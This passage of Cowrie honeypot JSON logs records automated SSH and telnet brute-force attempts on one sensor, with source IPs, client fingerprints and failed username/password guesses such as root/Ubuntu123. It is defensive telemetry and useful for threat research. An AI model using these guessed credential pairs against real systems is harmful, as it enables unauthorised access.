f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:25.540769Z","src_ip":"180.178.94.210","session":"f6af450a939c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:26.620797Z","src_ip":"180.178.94.210","session":"f6af450a939c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:27.879225Z","src_ip":"180.178.94.210","session":"f6af450a939c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.219.170.64","src_port":40033,"dst_ip":"10.17.0.5","dst_port":23,"session":"21002e9fab4f","protocol":"telnet","message":"New connection: 102.219.170.64:40033 (10.17.0.5:23) [session: 21002e9fab4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:28.119540Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.133","src_port":40546,"dst_ip":"159.203.135.109","dst_port":22,"session":"6225f4912bd8","protocol":"ssh","message":"New connection: 101.79.165.133:40546 (159.203.135.109:22) [session: 6225f4912bd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:29.505466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:29.510592Z","src_ip":"101.79.165.133","session":"6225f4912bd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:29.735275Z","src_ip":"101.79.165.133","session":"6225f4912bd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uno85c","password":"uno85c","message":"login attempt [uno85c/uno85c] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:30.663407Z","src_ip":"101.79.165.133","session":"6225f4912bd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:31.891952Z","src_ip":"101.79.165.133","session":"6225f4912bd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.65.220","src_port":60368,"dst_ip":"159.203.135.109","dst_port":22,"session":"0093de3679f1","protocol":"ssh","message":"New connection: 43.133.65.220:60368 (159.203.135.109:22) [session: 0093de3679f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:35.527276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:35.532357Z","src_ip":"43.133.65.220","session":"0093de3679f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:35.745497Z","src_ip":"43.133.65.220","session":"0093de3679f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ubuntu123","message":"login attempt [root/Ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:36.616408Z","src_ip":"43.133.65.220","session":"0093de3679f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:37.830018Z","src_ip":"43.133.65.220","session":"0093de3679f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.6.32.107","src_port":22686,"dst_ip":"159.203.135.109","dst_port":22,"session":"c85d4ed07346","protocol":"ssh","message":"New connection: 190.6.32.107:22686 (159.203.135.109:22) [session: c85d4ed07346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:40.372475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:40.376462Z","src_ip":"190.6.32.107","session":"c85d4ed07346","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:40.431354Z","src_ip":"190.6.32.107","session":"c85d4ed07346","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hallo","message":"login attempt [root/hallo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:40.684930Z","src_ip":"190.6.32.107","session":"c85d4ed07346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:41.744408Z","src_ip":"190.6.32.107","session":"c85d4ed07346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.869914293289185,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:45.764756Z","src_ip":"69.4.83.194","session":"f702a8f794e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51662,"dst_ip":"159.203.135.109","dst_port":23,"session":"8535c014440b","protocol":"telnet","message":"New connection: 69.4.83.194:51662 (159.203.135.109:23) [session: 8535c014440b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:46.498086Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.219.170.64","src_port":40624,"dst_ip":"10.17.0.5","dst_port":23,"session":"df764e6c97bf","protocol":"telnet","message":"New connection: 102.219.170.64:40624 (10.17.0.5:23) [session: df764e6c97bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:48.204886Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.219.170.64","src_port":40770,"dst_ip":"10.17.0.5","dst_port":23,"session":"208df2c59884","protocol":"telnet","message":"New connection: 102.219.170.64:40770 (10.17.0.5:23) [session: 208df2c59884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:51.519829Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":54054,"dst_ip":"10.17.0.5","dst_port":22,"session":"3eac4dca0f44","protocol":"ssh","message":"New connection: 94.159.98.239:54054 (10.17.0.5:22) [session: 3eac4dca0f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:03.062447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:03.123036Z","src_ip":"94.159.98.239","session":"3eac4dca0f44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:03.212297Z","src_ip":"94.159.98.239","session":"3eac4dca0f44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00168800354004,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:03.575749Z","src_ip":"79.139.59.21","session":"099b1c9071e0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"14071987","message":"login attempt [root/14071987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:03.733730Z","src_ip":"94.159.98.239","session":"3eac4dca0f44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:04.848843Z","src_ip":"94.159.98.239","session":"3eac4dca0f44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.60381054878235,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:19.101796Z","src_ip":"69.4.83.194","session":"8535c014440b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"106.243.250.115","src_port":35234,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3e462698cde","protocol":"ssh","message":"New connection: 106.243.250.115:35234 (159.203.135.109:22) [session: a3e462698cde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:23.834759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:23.844438Z","src_ip":"106.243.250.115","session":"a3e462698cde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:24.044703Z","src_ip":"106.243.250.115","session":"a3e462698cde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vr","password":"vr","message":"login attempt [vr/vr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:24.870973Z","src_ip":"106.243.250.115","session":"a3e462698cde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:26.075440Z","src_ip":"106.243.250.115","session":"a3e462698cde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":41676,"dst_ip":"159.203.135.109","dst_port":23,"session":"480a9bff5d25","protocol":"telnet","message":"New connection: 69.4.83.194:41676 (159.203.135.109:23) [session: 480a9bff5d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:35.067092Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":39020,"dst_ip":"159.203.135.109","dst_port":22,"session":"47ec4a5cb382","protocol":"ssh","message":"New connection: 51.250.105.222:39020 (159.203.135.109:22) [session: 47ec4a5cb382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:40.249550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:40.254924Z","src_ip":"51.250.105.222","session":"47ec4a5cb382","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:40.379593Z","src_ip":"51.250.105.222","session":"47ec4a5cb382","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:40.752735Z","src_ip":"51.250.105.222","session":"47ec4a5cb382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:41.879221Z","src_ip":"51.250.105.222","session":"47ec4a5cb382","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":49462,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdfdca6189cd","protocol":"ssh","message":"New connection: 103.173.227.57:49462 (159.203.135.109:22) [session: bdfdca6189cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:42.527180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:42.532037Z","src_ip":"103.173.227.57","session":"bdfdca6189cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:42.779118Z","src_ip":"103.173.227.57","session":"bdfdca6189cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2525","message":"login attempt [root/2525] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:43.519448Z","src_ip":"103.173.227.57","session":"bdfdca6189cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:24:44.770435Z","src_ip":"103.173.227.57","session":"bdfdca6189cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.178.94.210","src_port":57956,"dst_ip":"159.203.135.109","dst_port":22,"session":"66cd16ace69c","protocol":"ssh","message":"New connection: 180.178.94.210:57956 (159.203.135.109:22) [session: 66cd16ace69c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:05.897147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:05.904613Z","src_ip":"180.178.94.210","session":"66cd16ace69c","protocol":"ssh"}
